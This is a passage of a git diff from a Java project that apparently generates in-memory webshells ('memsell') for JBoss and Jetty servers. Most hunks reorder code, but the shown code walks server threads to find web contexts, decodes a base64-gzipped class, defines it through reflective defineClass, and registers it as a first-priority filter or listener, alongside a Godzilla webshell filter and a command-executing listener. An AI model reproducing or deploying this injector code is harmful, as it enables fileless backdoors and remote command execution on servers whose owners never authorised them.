encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs); - } catch (Exception var6) { - try { - base64 = Class.forName("sun.misc.BASE64Encoder"); - Object encoder = base64.newInstance(); - value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs); - } catch (Exception ignored) { - } - } - return value; - } - - @SuppressWarnings("all") - public static byte[] base64Decode(String bs) { - byte[] value = null; - Class base64; - try { - base64 = Class.forName("java.util.Base64"); - Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); - value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); - } catch (Exception var6) { - try { - base64 = Class.forName("sun.misc.BASE64Decoder"); - Object decoder = base64.newInstance(); - value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); - } catch (Exception ignored) { - } - } - return value; - } } diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/jboss/injector/JbossFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memsell/jboss/injector/JbossFilterInjector.java index 70d8f2e8..2746ef5d 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/jboss/injector/JbossFilterInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memsell/jboss/injector/JbossFilterInjector.java @@ -34,6 +34,76 @@ public class JbossFilterInjector { } } + static byte[] decodeBase64(String base64Str) throws Exception { + Class decoderClass; + try { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } + } + + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + ByteArrayInputStream in = new ByteArrayInputStream(compressedData); + GZIPInputStream gzipInputStream = new GZIPInputStream(in); + byte[] buffer = new byte[256]; + int n; + while ((n = gzipInputStream.read(buffer)) >= 0) { + out.write(buffer, 0, n); + } + return out.toByteArray(); + } + + public static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { + return invokeMethod(targetObject, methodName, new Class[0], new Object[0]); + } + + public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + + Class tempClass = clazz; + while (method == null && tempClass != null) { + try { + if (paramClazz == null) { + // Get all declared methods of the class + Method[] methods = tempClass.getDeclaredMethods(); + for (Method value : methods) { + if (value.getName().equals(methodName) && value.getParameterTypes().length == 0) { + method = value; + break; + } + } + } else { + method = tempClass.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + tempClass = tempClass.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException(methodName); + } + method.setAccessible(true); + if (obj instanceof Class) { + try { + return method.invoke(null, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } else { + try { + return method.invoke(obj, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } + } + public List getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException { List contexts = new ArrayList(); Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads"); @@ -134,30 +204,6 @@ public class JbossFilterInjector { return "{{base64Str}}"; } - static byte[] decodeBase64(String base64Str) throws Exception { - Class decoderClass; - try { - decoderClass = Class.forName("sun.misc.BASE64Decoder"); - return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); - } catch (Exception ignored) { - decoderClass = Class.forName("java.util.Base64"); - Object decoder = decoderClass.getMethod("getDecoder").invoke(null); - return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); - } - } - - public static byte[] gzipDecompress(byte[] compressedData) throws IOException { - ByteArrayOutputStream out = new ByteArrayOutputStream(); - ByteArrayInputStream in = new ByteArrayInputStream(compressedData); - GZIPInputStream gzipInputStream = new GZIPInputStream(in); - byte[] buffer = new byte[256]; - int n; - while ((n = gzipInputStream.read(buffer)) >= 0) { - out.write(buffer, 0, n); - } - return out.toByteArray(); - } - @SuppressWarnings("all") public Object getFieldValue(Object obj, String name) throws Exception { Field field = null; @@ -177,50 +223,4 @@ public class JbossFilterInjector { return field.get(obj); } } - - public static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { - return invokeMethod(targetObject, methodName, new Class[0], new Object[0]); - } - - public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { - Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); - Method method = null; - - Class tempClass = clazz; - while (method == null && tempClass != null) { - try { - if (paramClazz == null) { - // Get all declared methods of the class - Method[] methods = tempClass.getDeclaredMethods(); - for (Method value : methods) { - if (value.getName().equals(methodName) && value.getParameterTypes().length == 0) { - method = value; - break; - } - } - } else { - method = tempClass.getDeclaredMethod(methodName, paramClazz); - } - } catch (NoSuchMethodException e) { - tempClass = tempClass.getSuperclass(); - } - } - if (method == null) { - throw new NoSuchMethodException(methodName); - } - method.setAccessible(true); - if (obj instanceof Class) { - try { - return method.invoke(null, param); - } catch (IllegalAccessException e) { - throw new RuntimeException(e.getMessage()); - } - } else { - try { - return method.invoke(obj, param); - } catch (IllegalAccessException e) { - throw new RuntimeException(e.getMessage()); - } - } - } } diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/jboss/injector/JbossListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memsell/jboss/injector/JbossListenerInjector.java index 3b5b3627..1f038ec9 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/jboss/injector/JbossListenerInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memsell/jboss/injector/JbossListenerInjector.java @@ -18,14 +18,6 @@ import java.util.zip.GZIPInputStream; */ public class JbossListenerInjector { - public String getClassName() { - return "{{className}}"; - } - - public String getBase64String() { - return "{{base64Str}}"; - } - static { new JbossListenerInjector(); } @@ -41,89 +33,6 @@ public class JbossListenerInjector { } } - public List getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException { - List contexts = new ArrayList(); - Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads"); - try { - for (Thread thread : threads) { - if (thread.getName().contains("ContainerBackgroundProcessor")) { - Map childrenMap = (Map) getFV(getFV(getFV(thread, "target"), "this$0"), "children"); - for (Object key : childrenMap.keySet()) { - Map children = (Map) getFV(childrenMap.get(key), "children"); - for (Object key1 : children.keySet()) { - Object context = children.get(key1); - if (context != null && context.getClass().getName().contains("StandardContext")) { - contexts.add(context); - } - } - } - } - } - } catch (Exception e) { - throw new RuntimeException(e); - } - return contexts; - } - - private Object getListener(Object context) { - Object listener = null; - ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); - if (classLoader == null) { - classLoader = context.getClass().getClassLoader(); - } - try { - listener = classLoader.loadClass(getClassName()).newInstance(); - } catch (Exception e) { - try { - byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); - Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); - defineClass.setAccessible(true); - Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); - listener = clazz.newInstance(); - } catch (Throwable ignored) { - } - } - return listener; - } - - @SuppressWarnings("all") - public void addListener(Object context, Object listener) throws Exception { - if (!this.isInjected(context, this.getClassName())) { - String filedName = "applicationEventListenersObjects"; - Object applicationEventListenersObjects = getFV(context, filedName); - if (applicationEventListenersObjects == null) { - filedName = "applicationEventListenersInstances"; - applicationEventListenersObjects = getFV(context, filedName); - } - if (applicationEventListenersObjects != null) { - Object[] appListeners = (Object[]) applicationEventListenersObjects; - if (appListeners != null) { - List appListenerList = new ArrayList(Arrays.asList(appListeners)); - appListenerList.add(listener); - setFieldValue(context, filedName, appListenerList.toArray()); - } - } else if (getFV(context, "applicationEventListenersList") != null) { - List appListeners = (List) getFV(context, "applicationEventListenersList"); - if (appListeners != null) { - appListeners.add(listener); - } - } - } - } - - @SuppressWarnings("all") - public boolean isInjected(Object context, String evilClassName) throws Exception { - Object[] objects = (Object[]) invokeMethod(context, "getApplicationEventListeners"); - List listeners = Arrays.asList(objects); - ArrayList arrayList = new ArrayList(listeners); - for (Object o : arrayList) { - if (o.getClass().getName().contains(evilClassName)) { - return true; - } - } - return false; - } - @SuppressWarnings("all") static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { Class decoderClass; @@ -225,4 +134,95 @@ public class JbossListenerInjector { } } } + + public String getClassName() { + return "{{className}}"; + } + + public String getBase64String() { + return "{{base64Str}}"; + } + + public List getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException { + List contexts = new ArrayList(); + Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads"); + try { + for (Thread thread : threads) { + if (thread.getName().contains("ContainerBackgroundProcessor")) { + Map childrenMap = (Map) getFV(getFV(getFV(thread, "target"), "this$0"), "children"); + for (Object key : childrenMap.keySet()) { + Map children = (Map) getFV(childrenMap.get(key), "children"); + for (Object key1 : children.keySet()) { + Object context = children.get(key1); + if (context != null && context.getClass().getName().contains("StandardContext")) { + contexts.add(context); + } + } + } + } + } + } catch (Exception e) { + throw new RuntimeException(e); + } + return contexts; + } + + private Object getListener(Object context) { + Object listener = null; + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + if (classLoader == null) { + classLoader = context.getClass().getClassLoader(); + } + try { + listener = classLoader.loadClass(getClassName()).newInstance(); + } catch (Exception e) { + try { + byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + listener = clazz.newInstance(); + } catch (Throwable ignored) { + } + } + return listener; + } + + @SuppressWarnings("all") + public void addListener(Object context, Object listener) throws Exception { + if (!this.isInjected(context, this.getClassName())) { + String filedName = "applicationEventListenersObjects"; + Object applicationEventListenersObjects = getFV(context, filedName); + if (applicationEventListenersObjects == null) { + filedName = "applicationEventListenersInstances"; + applicationEventListenersObjects = getFV(context, filedName); + } + if (applicationEventListenersObjects != null) { + Object[] appListeners = (Object[]) applicationEventListenersObjects; + if (appListeners != null) { + List appListenerList = new ArrayList(Arrays.asList(appListeners)); + appListenerList.add(listener); + setFieldValue(context, filedName, appListenerList.toArray()); + } + } else if (getFV(context, "applicationEventListenersList") != null) { + List appListeners = (List) getFV(context, "applicationEventListenersList"); + if (appListeners != null) { + appListeners.add(listener); + } + } + } + } + + @SuppressWarnings("all") + public boolean isInjected(Object context, String evilClassName) throws Exception { + Object[] objects = (Object[]) invokeMethod(context, "getApplicationEventListeners"); + List listeners = Arrays.asList(objects); + ArrayList arrayList = new ArrayList(listeners); + for (Object o : arrayList) { + if (o.getClass().getName().contains(evilClassName)) { + return true; + } + } + return false; + } } diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/jetty/command/CommandListener.java b/generator/src/main/java/com/reajason/javaweb/memsell/jetty/command/CommandListener.java index f6a32a2f..b5d81567 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/jetty/command/CommandListener.java +++ b/generator/src/main/java/com/reajason/javaweb/memsell/jetty/command/CommandListener.java @@ -17,6 +17,26 @@ public class CommandListener implements ServletRequestListener { public CommandListener() { } + @SuppressWarnings("all") + public static synchronized Object getFieldValue(Object obj, String name) throws Exception { + Field field = null; + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + field = clazz.getDeclaredField(name); + break; + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + if (field == null) { + throw new NoSuchFieldException(name); + } else { + field.setAccessible(true); + return field.get(obj); + } + } + @Override public void requestDestroyed(ServletRequestEvent sre) { @@ -51,24 +71,4 @@ public class CommandListener implements ServletRequestListener { } return response; } - - @SuppressWarnings("all") - public static synchronized Object getFieldValue(Object obj, String name) throws Exception { - Field field = null; - Class clazz = obj.getClass(); - while (clazz != Object.class) { - try { - field = clazz.getDeclaredField(name); - break; - } catch (NoSuchFieldException var5) { - clazz = clazz.getSuperclass(); - } - } - if (field == null) { - throw new NoSuchFieldException(name); - } else { - field.setAccessible(true); - return field.get(obj); - } - } } diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/jetty/godzilla/GodzillaFilter.java b/generator/src/main/java/com/reajason/javaweb/memsell/jetty/godzilla/GodzillaFilter.java index 8e857eff..f5123d48 100755 --- a/generator/src/main/java/com/reajason/javaweb/memsell/jetty/godzilla/GodzillaFilter.java +++ b/generator/src/main/java/com/reajason/javaweb/memsell/jetty/godzilla/GodzillaFilter.java @@ -26,6 +26,44 @@ public class GodzillaFilter extends ClassLoader implements Filter { super(z); } + @SuppressWarnings("all") + public static String base64Encode(byte[] bs) throws Exception { + String value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Encoder"); + Object encoder = base64.newInstance(); + value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs); + } catch (Exception ignored) { + } + } + return value; + } + + @SuppressWarnings("all") + public static byte[] base64Decode(String bs) { + byte[] value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); + } catch (Exception ignored) { + } + } + return value; + } + @SuppressWarnings("all") public Class Q(byte[] cb) { return super.defineClass(cb, 0, cb.length); @@ -86,42 +124,4 @@ public class GodzillaFilter extends ClassLoader implements Filter { @Override public void destroy() { } - - @SuppressWarnings("all") - public static String base64Encode(byte[] bs) throws Exception { - String value = null; - Class base64; - try { - base64 = Class.forName("java.util.Base64"); - Object encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null); - value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs); - } catch (Exception var6) { - try { - base64 = Class.forName("sun.misc.BASE64Encoder"); - Object encoder = base64.newInstance(); - value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs); - } catch (Exception ignored) { - } - } - return value; - } - - @SuppressWarnings("all") - public static byte[] base64Decode(String bs) { - byte[] value = null; - Class base64; - try { - base64 = Class.forName("java.util.Base64"); - Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); - value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); - } catch (Exception var6) { - try { - base64 = Class.forName("sun.misc.BASE64Decoder"); - Object decoder = base64.newInstance(); - value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); - } catch (Exception ignored) { - } - } - return value; - } } diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/jetty/injector/JettyFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memsell/jetty/injector/JettyFilterInjector.java index 4e0bf46b..623082c7 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/jetty/injector/JettyFilterInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memsell/jetty/injector/JettyFilterInjector.java @@ -16,23 +16,11 @@ import java.util.zip.GZIPInputStream; public class JettyFilterInjector { - public String getUrlPattern() { - return "{{urlPattern}}"; - } - - - public String getClassName() { - return "{{className}}"; - } - - public String getBase64String() throws IOException { - return "{{base64Str}}"; - } - static { new JettyFilterInjector(); } + public JettyFilterInjector() { try { List contexts = getContext(); @@ -46,30 +34,132 @@ public class JettyFilterInjector { } + static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Class decoderClass; + try { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } + } + + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + ByteArrayInputStream in = new ByteArrayInputStream(compressedData); + GZIPInputStream ungzip = new GZIPInputStream(in); + byte[] buffer = new byte[256]; + int n; + while ((n = ungzip.read(buffer)) >= 0) { + out.write(buffer, 0, n); + } + return out.toByteArray(); + } + + static Object getFV(Object obj, String fieldName) throws Exception { + Field field = getF(obj, fieldName); + field.setAccessible(true); + return field.get(obj); + } + + static Field getF(Object obj, String fieldName) throws NoSuchFieldException { + Class clazz = obj.getClass(); + while (clazz != null) { + try { + Field field = clazz.getDeclaredField(fieldName); + field.setAccessible(true); + return field; + } catch (NoSuchFieldException e) { + clazz = clazz.getSuperclass(); + } + } + throw new NoSuchFieldException(fieldName); + } + + static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { + return invokeMethod(targetObject, methodName, new Class[0], new Object[0]); + } + + public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + + Class tempClass = clazz; + while (method == null && tempClass != null) { + try { + if (paramClazz == null) { + // Get all declared methods of the class + Method[] methods = tempClass.getDeclaredMethods(); + for (int i = 0; i < methods.length; i++) { + if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) { + method = methods[i]; + break; + } + } + } else { + method = tempClass.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + tempClass = tempClass.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException(methodName); + } + method.setAccessible(true); + if (obj instanceof Class) { + try { + return method.invoke(null, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } else { + try { + return method.invoke(obj, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } + } + + public String getUrlPattern() { + return "{{urlPattern}}"; + } + + public String getClassName() { + return "{{className}}"; + } + + public String getBase64String() throws IOException { + return "{{base64Str}}"; + } + public void addFilter(Object context, Object magicFilter) throws Exception { Class filterClass = magicFilter.getClass(); - Object servletHandler = getFV(context, "_servletHandler"); + Object servletHandler = getFV(context, "_servletHandler"); - // 1. 判断是否已经注入 - if (isInjected(servletHandler)) { - System.out.println("filter is already injected"); - return; - } + // 1. 判断是否已经注入 + if (isInjected(servletHandler)) { + System.out.println("filter is already injected"); + return; + } - Class filterHolderClass = null; - try { - filterHolderClass = context.getClass().getClassLoader().loadClass("org.eclipse.jetty.servlet.FilterHolder"); - } catch (ClassNotFoundException e) { - filterHolderClass = context.getClass().getClassLoader().loadClass("org.mortbay.jetty.servlet.FilterHolder"); - } - Constructor constructor = filterHolderClass.getConstructor(Class.class); - Object filterHolder = constructor.newInstance(filterClass); - invokeMethod(filterHolder, "setName", new Class[]{String.class}, new Object[]{getClassName()}); + Class filterHolderClass = null; + try { + filterHolderClass = context.getClass().getClassLoader().loadClass("org.eclipse.jetty.servlet.FilterHolder"); + } catch (ClassNotFoundException e) { + filterHolderClass = context.getClass().getClassLoader().loadClass("org.mortbay.jetty.servlet.FilterHolder"); + } + Constructor constructor = filterHolderClass.getConstructor(Class.class); + Object filterHolder = constructor.newInstance(filterClass); + invokeMethod(filterHolder, "setName", new Class[]{String.class}, new Object[]{getClassName()}); - // 2. 注入内存马Filter - invokeMethod(servletHandler, "addFilterWithMapping", new Class[]{filterHolderClass, String.class, int.class}, new Object[]{filterHolder, getUrlPattern(), 1}); + // 2. 注入内存马Filter + invokeMethod(servletHandler, "addFilterWithMapping", new Class[]{filterHolderClass, String.class, int.class}, new Object[]{filterHolder, getUrlPattern(), 1}); - // 3. 修改Filter的优先级为第一位 + // 3. 修改Filter的优先级为第一位 moveFilterToFirst(servletHandler); try { @@ -222,95 +312,4 @@ public class JettyFilterInjector { } return false; } - - - static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { - Class decoderClass; - try { - decoderClass = Class.forName("sun.misc.BASE64Decoder"); - return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); - } catch (Exception ignored) { - decoderClass = Class.forName("java.util.Base64"); - Object decoder = decoderClass.getMethod("getDecoder").invoke(null); - return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); - } - } - - public static byte[] gzipDecompress(byte[] compressedData) throws IOException { - ByteArrayOutputStream out = new ByteArrayOutputStream(); - ByteArrayInputStream in = new ByteArrayInputStream(compressedData); - GZIPInputStream ungzip = new GZIPInputStream(in); - byte[] buffer = new byte[256]; - int n; - while ((n = ungzip.read(buffer)) >= 0) { - out.write(buffer, 0, n); - } - return out.toByteArray(); - } - - static Object getFV(Object obj, String fieldName) throws Exception { - Field field = getF(obj, fieldName); - field.setAccessible(true); - return field.get(obj); - } - - static Field getF(Object obj, String fieldName) throws NoSuchFieldException { - Class clazz = obj.getClass(); - while (clazz != null) { - try { - Field field = clazz.getDeclaredField(fieldName); - field.setAccessible(true); - return field; - } catch (NoSuchFieldException e) { - clazz = clazz.getSuperclass(); - } - } - throw new NoSuchFieldException(fieldName); - } - - static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { - return invokeMethod(targetObject, methodName, new Class[0], new Object[0]); - } - - public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { - Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); - Method method = null; - - Class tempClass = clazz; - while (method == null && tempClass != null) { - try { - if (paramClazz == null) { - // Get all declared methods of the class - Method[] methods = tempClass.getDeclaredMethods(); - for (int i = 0; i < methods.length; i++) { - if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) { - method = methods[i]; - break; - } - } - } else { - method = tempClass.getDeclaredMethod(methodName, paramClazz); - } - } catch (NoSuchMethodException e) { - tempClass = tempClass.getSuperclass(); - } - } - if (method == null) { - throw new NoSuchMethodException(methodName); - } - method.setAccessible(true); - if (obj instanceof Class) { - try { - return method.invoke(null, param); - } catch (IllegalAccessException e) { - throw new RuntimeException(e.getMessage()); - } - } else { - try { - return method.invoke(obj, param); - } catch (IllegalAccessException e) { - throw new RuntimeException(e.getMessage()); - } - } - } } diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/jetty/injector/JettyListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memsell/jetty/injector/JettyListenerInjector.java index 4af38c8b..a17a9c3a 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/jetty/injector/JettyListenerInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memsell/jetty/injector/JettyListenerInjector.java @@ -19,19 +19,10 @@ import java.util.zip.GZIPInputStream; */ public class JettyListenerInjector { - public String getClassName() { - return "{{className}}"; - } - - public String getBase64String() throws IOException { - return "{{base64Str}}"; - } - static { new JettyListenerInjector(); } - public JettyListenerInjector() { try { List contexts = getContext(); @@ -45,94 +36,6 @@ public class JettyListenerInjector { } - List getContext() { - List contexts = new ArrayList(); - Thread[] threads = Thread.getAllStackTraces().keySet().toArray(new Thread[0]); - for (Thread thread : threads) { - try { - Object contextClassLoader = getContextClassLoader(thread); - if (isWebAppClassLoader(contextClassLoader)) { - contexts.add(getContextFromWebAppClassLoader(contextClassLoader)); - } else if (isHttpConnection(thread)) { - contexts.add(getContextFromHttpConnection(thread)); - } - } catch (Exception ignored) { - } - } - return contexts; - } - - private Object getContextClassLoader(Thread thread) throws Exception { - return invokeMethod(thread, "getContextClassLoader"); - } - - private boolean isWebAppClassLoader(Object classLoader) { - return classLoader.getClass().getName().contains("WebAppClassLoader"); - } - - private Object getContextFromWebAppClassLoader(Object classLoader) throws Exception { - Object context = getFV(classLoader, "_context"); - Object handler = getFV(context, "_servletHandler"); - return getFV(handler, "_contextHandler"); - } - - private boolean isHttpConnection(Thread thread) throws Exception { - Object threadLocals = getFV(thread, "threadLocals"); - Object table = getFV(threadLocals, "table"); - for (int i = 0; i < Array.getLength(table); ++i) { - Object entry = Array.get(table, i); - if (entry != null) { - Object httpConnection = getFV(entry, "value"); - if (httpConnection != null && httpConnection.getClass().getName().contains("HttpConnection")) { - return true; - } - } - } - return false; - } - - private Object getContextFromHttpConnection(Thread thread) throws Exception { - Object threadLocals = getFV(thread, "threadLocals"); - Object table = getFV(threadLocals, "table"); - for (int i = 0; i < Array.getLength(table); ++i) { - Object entry = Array.get(table, i); - if (entry != null) { - Object httpConnection = getFV(entry, "value"); - if (httpConnection != null && httpConnection.getClass().getName().contains("HttpConnection")) { - Object httpChannel = invokeMethod(httpConnection, "getHttpChannel"); - Object request = invokeMethod(httpChannel, "getRequest"); - Object session = invokeMethod(request, "getSession"); - Object servletContext = invokeMethod(session, "getServletContext"); - return getFV(servletContext, "this$0"); - } - } - } - throw new Exception("HttpConnection not found"); - } - - - private Object getListener(Object context) { - Object listener = null; - ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); - if (classLoader == null) { - classLoader = context.getClass().getClassLoader(); - } - try { - listener = classLoader.loadClass(getClassName()).newInstance(); - } catch (Exception e) { - try { - byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); - Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); - defineClass.setAccessible(true); - Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); - listener = clazz.newInstance(); - } catch (Throwable e1) { - e1.printStackTrace(); - } - } - return listener; - } - public static void addListener(Object context, Object listener) { try { if (isInjected(context, listener.getClass().getName())) { @@ -144,7 +47,6 @@ public class JettyListenerInjector { } } - public static boolean isInjected(Object context, String className) throws Exception { try { @@ -161,7 +63,6 @@ public class JettyListenerInjector { return false; } - static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { try { Class decoderClass = Class.forName("sun.misc.BASE64Decoder"); @@ -250,4 +151,99 @@ public class JettyListenerInjector { } } } + + public String getClassName() { + return "{{className}}"; + } + + public String getBase64String() throws IOException { + return "{{base64Str}}"; + } + + List getContext() { + List contexts = new ArrayList(); + Thread[] threads = Thread.getAllStackTraces().keySet().toArray(new Thread[0]); + for (Thread thread : threads) { + try { + Object contextClassLoader = getContextClassLoader(thread); + if (isWebAppClassLoader(contextClassLoader)) { + contexts.add(getContextFromWebAppClassLoader(contextClassLoader)); + } else if (isHttpConnection(thread)) { + contexts.add(getContextFromHttpConnection(thread)); + } + } catch (Exception ignored) { + } + } + return contexts; + } + + private Object getContextClassLoader(Thread thread) throws Exception { + return invokeMethod(thread, "getContextClassLoader"); + } + + private boolean isWebAppClassLoader(Object classLoader) { + return classLoader.getClass().getName().contains("WebAppClassLoader"); + } + + private Object getContextFromWebAppClassLoader(Object classLoader) throws Exception { + Object context = getFV(classLoader, "_context"); + Object handler = getFV(context, "_servletHandler"); + return getFV(handler, "_contextHandler"); + } + + private boolean isHttpConnection(Thread thread) throws Exception { + Object threadLocals = getFV(thread, "threadLocals"); + Object table = getFV(threadLocals, "table"); + for (int i = 0; i < Array.getLength(table); ++i) { + Object entry = Array.get(table, i); + if (entry != null) { + Object httpConnection = getFV(entry, "value"); + if (httpConnection != null && httpConnection.getClass().getName().contains("HttpConnection")) { + return true; + } + } + } + return false; + } + + private Object getContextFromHttpConnection(Thread thread) throws Exception { + Object threadLocals = getFV(thread, "threadLocals"); + Object table = getFV(threadLocals, "table"); + for (int i = 0; i < Array.getLength(table); ++i) { + Object entry = Array.get(table, i); + if (entry != null) { + Object httpConnection = getFV(entry, "value"); + if (httpConnection != null && httpConnection.getClass().getName().contains("HttpConnection")) { + Object httpChannel = invokeMethod(httpConnection, "getHttpChannel"); + Object request = invokeMethod(httpChannel, "getRequest"); + Object session = invokeMethod(request, "getSession"); + Object servletContext = invokeMethod(session, "getServletContext"); + return getFV(servletContext, "this$0"); + } + } + } + throw new Exception("HttpConnection not found"); + } + + private Object getListener(Object context) { + Object listener = null; + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + if (classLoader == null) { + classLoader = context.getClass().getClassLoader(); + } + try { + listener = classLoader.loadClass(getClassName()).newInstance(); + } catch (Exception e) { + try { + byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + listener = clazz.newInstance(); + } catch (Throwable e1) { + e1.printStackTrace(); + } + } + return listener; + } } diff --git 